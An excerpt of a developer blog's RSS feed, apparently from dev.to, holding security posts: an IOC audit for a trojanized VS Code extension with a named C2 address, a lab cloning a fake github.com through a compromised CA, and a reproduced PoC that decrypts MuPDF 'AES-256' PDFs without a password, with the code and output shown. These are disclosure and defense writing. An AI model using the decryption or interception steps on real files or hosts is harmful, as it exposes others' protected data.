&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1 &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My run, tonight, on the machine I am typing this on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found ==   (exit 0)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A clean run is not a clean bill of health forever (the sample analyzed is one build; the operators iterate), but it answers tonight's question. If any check hits: disconnect the machine from the network, &lt;strong&gt;rotate credentials from a different, clean system&lt;/strong&gt; (they inventoried your env-var names for a reason), preserve the artifacts, and rebuild. Interactive SSH access means whatever you find may understate what happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lesson, again: pin what you run
&lt;/h2&gt;

&lt;p&gt;Three structural notes, because the mechanism will repeat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Open-VSX and the Marketplace serve mutable bits.&lt;/strong&gt; A publisher account (here: an Anthropic employee's, question mark hanging over how) can replace a trusted extension's code, and every client that auto-updates receives it. The defense that would have caught this in one second is &lt;strong&gt;hash pinning&lt;/strong&gt;, and almost nobody does it for extensions. Check 6 in the script is the pattern: &lt;code&gt;shasum -a 256&lt;/code&gt; on the loader of everything critical you install, recorded when you install it on purpose.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Loading is executing."&lt;/strong&gt; The payload ran at extension activation, before any user interaction with the tool. The mental model of "I only use it when I choose to" does not survive contact with how extensions actually load.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The name of the persistence is a social-engineering artifact.&lt;/strong&gt; &lt;code&gt;com.apple.sysmond&lt;/code&gt;, &lt;code&gt;SysMon&lt;/code&gt;, &lt;code&gt;svc-telemetry&lt;/code&gt;: every IOC in this attack is designed to survive a casual &lt;code&gt;ls&lt;/code&gt;. That is why the audit checks exact names and exact hashes, not vibes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The month's ledger so far: two compromised releases of the most popular LLM proxy, 13,500 secret-dumping CI workflows, transcripts of background agents shipped to the model, and now a trojanized agent extension with SSH persistence. The agents are not the vulnerability. The ecosystem assembling around them is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: trojanized &lt;code&gt;anthropic.claude-code@2.1.313&lt;/code&gt; on Open-VSX backdoored machines at extension load: SSH key &lt;code&gt;svc-telemetry&lt;/code&gt;, remote login on, reverse tunnel to &lt;code&gt;134.209.82.225&lt;/code&gt;, LaunchAgent disguised as &lt;code&gt;com.apple.sysmond&lt;/code&gt;. Seven-check read-only audit above, my machine: zero indicators. Run yours, hash what you install, and if a check hits: rotate from a clean machine and rebuild.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://opensourcemalware.com/blog/trojanized-claude-code-extension-plants-persistent-ssh-backdoor" rel="noopener noreferrer"&gt;OpenSourceMalware: Trojanized Claude Code Extension Plants an SSH Backdoor&lt;/a&gt; · IOCs: extension.js SHA-256 &lt;code&gt;ecb58cb2…c6bf15&lt;/code&gt;, C2 &lt;code&gt;134.209.82.225&lt;/code&gt; (22, 8099), key fingerprint &lt;code&gt;SHA256:0Z6R+…htk&lt;/code&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>vscode</category>
      <category>supplychain</category>
    </item>
    <item>
      <title>Your Mac's git cloned a fake github.com without a warning: Apple, eMudhra, act three</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Thu, 29 Oct 2026 08:06:13 +0000</pubDate>
      <link>https://dev.to/slabb/your-macs-git-cloned-a-fake-githubcom-without-a-warning-apple-emudhra-act-three-3e9k</link>
      <guid>https://dev.to/slabb/your-macs-git-cloned-a-fake-githubcom-without-a-warning-apple-emudhra-act-three-3e9k</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;One week ago &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;the CA whose private key was the number 4&lt;/a&gt; &lt;a href="https://dev.to/slabb/the-ca-whose-private-key-was-the-number-4-just-quit-the-certificate-business-18ba"&gt;quit the certificate business&lt;/a&gt;. Browsers blocked the chain within three days of disclosure, the disclosure site shipped self-checks, and the story felt closed. It is not. Yesterday the same site published &lt;a href="https://emudhra.we-have-a-problem.com/apple.html" rel="noopener noreferrer"&gt;the next finding&lt;/a&gt;: &lt;strong&gt;Apple was notified on October 17, and as of October 28, the developer tools on macOS, git included, still trust the compromised certificates.&lt;/strong&gt; Not hypothetically. On my machine, ten minutes ago, Apple's git cloned a fake github.com whose certificate was issued from the compromised chain, and it did not print a single warning. The README it fetched begins with the word INTERCEPTED.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post is the three-legged lab I ran to pin it down: stock Apple git (intercepted), Homebrew git (safe), and the documented workaround (verified, without touching the system). Plus the detail that turns this from "lagging vendor" into something meaner: &lt;strong&gt;macOS 27.2, released October 26, silently undid the workaround users had applied by hand.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is actually exposed
&lt;/h2&gt;

&lt;p&gt;Safari and apps using Apple's networking frameworks were protected days ago; the blocking travels through their fast revocation channels. But the developer toolchain, git, curl, python3 and friends, validates against &lt;code&gt;/etc/ssl/cert.pem&lt;/code&gt; &lt;strong&gt;without consuming revocation information&lt;/strong&gt;, and that file still contains the affected roots. The consequences for anyone on your network path, your Wi-Fi, your ISP, your VPN provider, holding one of the eight recovered keys:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;git clone&lt;/code&gt; and &lt;code&gt;git pull&lt;/code&gt; can deliver &lt;strong&gt;attacker-chosen code&lt;/strong&gt; into your working tree&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;git push&lt;/code&gt; traffic, including credentials and tokens, can be captured or altered&lt;/li&gt;
&lt;li&gt;every HTTPS call made by the toolchain inherits the same trust gap&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For CI runners and build machines on macOS, that is a supply-chain front door. Your &lt;code&gt;brew install&lt;/code&gt; is fine (Homebrew shipped its fix days ago); the git that Xcode and the Command Line Tools give you is the one that is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Leg one: Apple's git, stock, intercepted
&lt;/h2&gt;

&lt;p&gt;The disclosure site runs a dedicated test host, and an end-to-end demo that redirects github.com to a server presenting a &lt;strong&gt;github.com certificate issued from a compromised eMudhra intermediate&lt;/strong&gt;. The &lt;code&gt;fake-user@&lt;/code&gt; prefix keeps real credentials out of the test. On a fully patched macOS, with the stock toolchain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /usr/bin/git --version
git version 2.54.0 (Apple Git-157)

$ /usr/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
2975b9930644b321e18ecae09e29c15b955e6103    HEAD
2975b9930644b321e18ecae09e29c15b955e6103    refs/heads/main
                                        (exit 0: the compromised-signed certificate was ACCEPTED)

$ git -c http.curloptResolve=github.com:443:15.235.19.186 clone \
      https://fake-user@github.com/galadran/emudhra-git-test
Cloning into 'emudhra-git-test'...

$ cat emudhra-git-test/README.md
# INTERCEPTED: your git accepted a certificate from a compromised eMudhra CA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the whole attack, minus the attacker. A clone of a github.com URL, served by someone else, accepted silently. Swap the test repo for &lt;code&gt;Homebrew/brew&lt;/code&gt; or your company's monorepo and the "INTERCEPTED" README becomes your next &lt;code&gt;brew install&lt;/code&gt; or your next build.&lt;/p&gt;

&lt;h2&gt;
  
  
  Leg two: Homebrew git, safe
&lt;/h2&gt;

&lt;p&gt;Homebrew's &lt;code&gt;ca-certificates&lt;/code&gt; package removed the affected roots days ago (2026-09-25_1), and its git links against them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /opt/homebrew/bin/git --version
git version 2.56.0

$ /opt/homebrew/bin/git ls-remote https://git-emudhra.we-have-a-problem.com/
fatal: unable to access: SSL certificate OpenSSL verify result:
unable to get local issuer certificate (20)

$ /opt/homebrew/bin/git -c http.curloptResolve=... clone https://fake-user@github.com/...
fatal: SSL certificate problem: unable to get local issuer certificate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Refused, twice. A volunteer-run project shipped the fix that a trillion-dollar company did not, which the disclosure site notes is a pattern: dozens of downstream distributions, many of them volunteer-maintained, got this done within days.&lt;/p&gt;

&lt;h2&gt;
  
  
  Leg three: the workaround, verified without touching the system
&lt;/h2&gt;

&lt;p&gt;The documented fix is to strip the two affected roots from the file the tools read. You can prove it works before applying it system-wide, by pointing git at a cleaned copy (the official awk one-liner, minus the &lt;code&gt;sudo&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/^(###|===) /{skip=0}
/^=== .*\/CN=(AAA Certificate Services|emSign ECC Root CA - G3)$/{skip=1}
!skip'&lt;/span&gt; /etc/ssl/cert.pem &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/clean-bundle.pem
&lt;span class="c"&gt;# 128 certificates in, 126 out&lt;/span&gt;

/usr/bin/git &lt;span class="nt"&gt;-c&lt;/span&gt; http.sslCAInfo&lt;span class="o"&gt;=&lt;/span&gt;/tmp/clean-bundle.pem &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-c&lt;/span&gt; http.curloptResolve&lt;span class="o"&gt;=&lt;/span&gt;github.com:443:15.235.19.186 clone &lt;span class="se"&gt;\&lt;/span&gt;
             https://fake-user@github.com/galadran/emudhra-git-test
fatal: SSL certificate problem: unable to get &lt;span class="nb"&gt;local &lt;/span&gt;issuer certificate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same Apple git, same fake server, cleaned bundle: refused. That is the fix Apple is being asked to ship, demonstrated end to end. To apply it for real, follow the site's macOS steps, and then the catch below.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that should make you angry
&lt;/h2&gt;

&lt;p&gt;macOS 27.2 shipped on &lt;strong&gt;October 26&lt;/strong&gt;, nine days after disclosure, and according to the disclosure it &lt;strong&gt;did not fix the issue and undid the workaround that users had applied by hand&lt;/strong&gt;. Apple's own guidance says system updates may revert manual trust-store changes, so anyone who cleaned their bundle on October 20 woke up re-exposed on October 27 without doing anything. If you applied the workaround, the sequence is not "fix once", it is: apply, then &lt;strong&gt;re-run the two self-checks after every macOS update&lt;/strong&gt;, exactly like a regression test. For fleet owners: your MDM baseline for macOS dev machines now includes "cert.pem does not contain emSign ECC Root CA - G3 or AAA Certificate Services", asserted continuously, because the OS will fight you.&lt;/p&gt;

&lt;h2&gt;
  
  
  The check for your machine, tonight
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# any git, one line: error = safe, listing = vulnerable&lt;/span&gt;
git ls-remote https://git-emudhra.we-have-a-problem.com/

&lt;span class="c"&gt;# the end-to-end proof (safe: no real credentials involved)&lt;/span&gt;
git &lt;span class="nt"&gt;-c&lt;/span&gt; http.curloptResolve&lt;span class="o"&gt;=&lt;/span&gt;github.com:443:15.235.19.186 clone &lt;span class="se"&gt;\&lt;/span&gt;
      https://fake-user@github.com/galadran/emudhra-git-test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you get refs and a README that says INTERCEPTED: your toolchain trusts a CA whose keys have been public for twelve days, a firm that has already left the certificate business. Clean the bundle or move your git to Homebrew's, then re-check after the next macOS update, and the one after that.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Act one: the key was the number 4. Act two: the CA quit the business. Act three, yesterday's finding: Apple's developer tools still trust the poisoned chain, an update shipped nine days post-discussion silently reverted users' own fixes, and my stock Mac cloned a fake github.com without one byte of warning. Homebrew's git refuses it; the awk workaround makes Apple's git refuse it; the check is one &lt;code&gt;git ls-remote&lt;/code&gt; you can run right now. The trust fabric held for browsers and failed for builders. Your build pipeline is the perimeter now.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://emudhra.we-have-a-problem.com/apple.html" rel="noopener noreferrer"&gt;Apple's git still trusts the compromised eMudhra certificates&lt;/a&gt; · &lt;a href="https://emudhra.we-have-a-problem.com/" rel="noopener noreferrer"&gt;main disclosure + self-checks&lt;/a&gt; · &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;Act one: the number-4 key&lt;/a&gt; · &lt;a href="https://dev.to/slabb/the-ca-whose-private-key-was-the-number-4-just-quit-the-certificate-business-18ba"&gt;Act two: the exit&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>git</category>
      <category>macos</category>
      <category>supplychain</category>
    </item>
    <item>
      <title>Your PDF says AES-256. The key had 9 bits of entropy.</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Wed, 28 Oct 2026 21:56:31 +0000</pubDate>
      <link>https://dev.to/slabb/your-pdf-says-aes-256-the-key-had-9-bits-of-entropy-cdg</link>
      <guid>https://dev.to/slabb/your-pdf-says-aes-256-the-key-had-9-bits-of-entropy-cdg</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I just created a PDF with AES-256 encryption and a password, watched the reader refuse to open it without that password, and then decrypted it &lt;strong&gt;without any password in 0.63 seconds&lt;/strong&gt;, secret contents fully recovered. The tool that did it is public since yesterday. The vulnerability is not in AES, and not in the password: it is in the &lt;strong&gt;key generation&lt;/strong&gt;, where a "256-bit" key was derived from a timestamp-seeded pseudo-random generator with &lt;strong&gt;9 bits of effective entropy&lt;/strong&gt;. This is the story of &lt;a href="https://v12.sh/blog/the-case-of-the-9bit-aes-key" rel="noopener noreferrer"&gt;V12's PDF decryptors&lt;/a&gt;, and below is the lab I ran end to end on my machine, which you can rerun in ten minutes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  What PDF encryption is supposed to do
&lt;/h2&gt;

&lt;p&gt;PDF standard security, revision 6 (the AES-256 one, &lt;code&gt;AESV3&lt;/code&gt;), has a sound design: the file is encrypted with a &lt;strong&gt;random 32-byte file key&lt;/strong&gt;. Your password never encrypts the document directly; it wraps the file key (&lt;code&gt;/UE&lt;/code&gt; in the encryption dictionary). Break the design assumption that the 32 bytes are random, and the password stops mattering: recover the file key, read the file, the password never enters the story.&lt;/p&gt;

&lt;p&gt;MuPDF before 1.28.5, Foxit Reader 2026.1.3, OpenPDF 3.0.5 and iText 9.7.1 each broke that assumption differently. Same AES-256 label, same certificate on the box, entropy theater inside.&lt;/p&gt;

&lt;h2&gt;
  
  
  MuPDF: 9 bits, 512 keys, 7 milliseconds
&lt;/h2&gt;

&lt;p&gt;MuPDF's &lt;code&gt;fz_memrnd()&lt;/code&gt; generated the file key from a 48-bit LCG (&lt;code&gt;drand48&lt;/code&gt; family) seeded once with the &lt;strong&gt;epoch time in seconds&lt;/strong&gt;. Two implementation details collapse the space:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;each output byte keeps only &lt;strong&gt;state bits 17-24&lt;/strong&gt; of the LCG;&lt;/li&gt;
&lt;li&gt;the seeding initializes the low 16 bits of the state to the constant &lt;code&gt;0x330E&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Run the math and only &lt;strong&gt;9 bits of the timestamp influence the output stream&lt;/strong&gt;: timestamps 512 seconds apart produce the identical "random" bytes. I verified this directly, using the exact derivation from V12's published PoC (POSIX LCG constants, &lt;code&gt;a=0x5DEECE66D&lt;/code&gt;, &lt;code&gt;c=0xB&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x330E&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# each byte: state = (a*state + c) mod 2**48 ; byte = (state &amp;gt;&amp;gt; 17) &amp;amp; 0xFF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;keystream(t)      == keystream(t + 512)  : True
keystream(t)      != keystream(t + 511)  : True
512 candidate keystreams generated in   : 7 ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A "256-bit" key with 512 candidates. The encrypted permissions field &lt;code&gt;/Perms&lt;/code&gt; gives a known-plaintext oracle: for each candidate key, check whether the decryption matches the document's permission bits. One of the 512 passes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lab, end to end
&lt;/h2&gt;

&lt;p&gt;Reproducible on any machine with Python and Homebrew:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;mupdf                      &lt;span class="c"&gt;# mutool 1.28.5 (fixed; used only as the reader/writer)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv v &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; v/bin/pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"pymupdf&amp;lt;1.28.5"&lt;/span&gt; cryptography
git clone https://github.com/v12-security/pocs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 1: create a victim with the vulnerable stack (pymupdf 1.28.2 bundles MuPDF 1.28.2):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pymupdf&lt;/span&gt;
&lt;span class="n"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pymupdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new_page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert_text&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret.pdf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encryption&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pymupdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PDF_ENCRYPT_AES_256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="n"&gt;user_pw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hunter2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner_pw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner-pw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 2: confirm the lock is real. &lt;code&gt;mutool show secret.pdf trailer&lt;/code&gt; answers &lt;code&gt;cannot authenticate password&lt;/code&gt;. The encryption dictionary says &lt;code&gt;/AESV3&lt;/code&gt;, &lt;code&gt;/R 6&lt;/code&gt;. Everything looks exactly like strong crypto is supposed to look.&lt;/p&gt;

&lt;p&gt;Step 3: the attack, no password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ v/bin/python pocs/pdf_decryptors/mupdf/decrypt.py secret.pdf decrypted.pdf
[+] Recovered and verified the AES-256 file key
    seed time(NULL) mod 512 = 33
    key  022531fd36d99f642258484ad123e7ab0188b951af6718623a11b813364c7c7b
[+] Wrote unencrypted PDF to decrypted.pdf
                                      (0.12 s user, 0.63 s wall)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 4: read the plaintext:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ mutool draw -F txt -o - decrypted.pdf
TOP SECRET: the mermaid lands at 0400. Auth code KHAKI-7741.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Twelve hundred milliseconds after meeting the file, its "AES-256" protection is a memory. The PoC then re-wraps the recovered key under a known password and lets mutool write a clean copy; brute force was never needed because there were only ever 512 keys.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foxit: SHA-256, a timestamp, and the word "there"
&lt;/h2&gt;

&lt;p&gt;Foxit Reader 2026.1.3.36551 derived its file key as &lt;strong&gt;SHA-256 of a 32-bit timestamp, 32 uninitialized bytes (zeros in practice), and the literal string &lt;code&gt;"there"&lt;/code&gt;&lt;/strong&gt;. From the published Rust PoC, verbatim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;material&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="nf"&gt;.to_le_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;material&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.copy_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;b"there"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Thirty-two bits of timestamp means 2^32 candidates at worst, but the &lt;code&gt;/Perms&lt;/code&gt; known-plaintext check prunes instantly, and a 32-thread search covers &lt;strong&gt;every second since 1970 in under five seconds&lt;/strong&gt;. The uninitialized-memory bytes add zero entropy on every machine V12 tested.&lt;/p&gt;

&lt;p&gt;The lineage detail that widens the blast radius: this exact derivation appears in &lt;strong&gt;PDFium's first public commit (May 2014)&lt;/strong&gt;, with the file crediting Foxit as the original author. PDFium is Chromium's PDF engine, embedded in countless editors and viewers. Anyone who copied that code path inherited a timestamp-derived "AES-256" key.&lt;/p&gt;

&lt;p&gt;OpenPDF 3.0.5 and iText 9.7.1 close the set: keys from an &lt;strong&gt;ARC4 stream seeded with a millisecond timestamp plus the JVM's free memory&lt;/strong&gt;, guessable from the plaintext salts in &lt;code&gt;/U&lt;/code&gt; and &lt;code&gt;/O&lt;/code&gt;, with a larger but still tractable search.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cipher was never the problem
&lt;/h2&gt;

&lt;p&gt;This is the pattern the whole month has been about, in miniature. AES-256 is fine. The password wrapping is fine. The spec (rev 6) is fine. What broke was the boring plumbing between "the spec says random" and "the code called rand()": an LCG seeded by a clock, uninitialized memory, a string someone needed for alignment. The same class of failure as the CA whose intermediate key was the number 4 and the KV pool sized at 65% of the context window: &lt;strong&gt;the strong primitive at the end of a weak pipe is a weak primitive&lt;/strong&gt;. "AES-256" on a feature list is a claim about 2^256, and the only thing that makes it true is where the key bytes come from.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do now
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MuPDF users&lt;/strong&gt;: 1.28.5 fixes key generation, but &lt;strong&gt;does not fix existing files&lt;/strong&gt;: every AES-256 PDF written by an older MuPDF still has one of 512 keys today. If those documents matter, treat them as unencrypted and re-issue them: new file, current software. &lt;code&gt;pymupdf&lt;/code&gt; ships vulnerable MuPDF across many versions, so check what your pipeline embeds (&lt;code&gt;pymupdf.mupdf_version_tuple&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Foxit / PDFium-derivatives&lt;/strong&gt;: update, then assume PDFs written by affected versions are timestamp-recoverable and re-issue what matters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Everyone else&lt;/strong&gt;: next time a vendor says "military-grade AES-256", ask where the key bytes come from. That question, answered honestly, is the entire field of cryptography engineering.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: password-protected "AES-256" PDFs from MuPDF &amp;lt; 1.28.5 have 9 bits of key entropy: 512 candidates, 7 ms to generate, sub-second recovery with public tooling. Foxit hashed a timestamp and the string "there"; PDFium carried that code since 2014. I created, locked, and passwordlessly decrypted one in my lab in under a second, with every command above reproducible.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://v12.sh/blog/the-case-of-the-9bit-aes-key" rel="noopener noreferrer"&gt;V12: The case of the 9 bit AES key&lt;/a&gt; · &lt;a href="https://github.com/v12-security/pocs" rel="noopener noreferrer"&gt;PoC decryptors (v12-security/pocs)&lt;/a&gt; · MuPDF fix in 1.28.5&lt;/p&gt;

</description>
      <category>security</category>
      <category>cryptography</category>
      <category>pdf</category>
      <category>infosec</category>
    </item>
    <item>
      <title>A 16-year-old buffer overflow boots before your defenses: CVE-2026-97631 in EDK II's PXE driver</title>
      <dc:creator>Sam LABBE</dc:creator>
      <pubDate>Wed, 28 Oct 2026 13:29:51 +0000</pubDate>
      <link>https://dev.to/slabb/a-16-year-old-buffer-overflow-boots-before-your-defenses-cve-2026-97631-in-edk-iis-pxe-driver-412i</link>
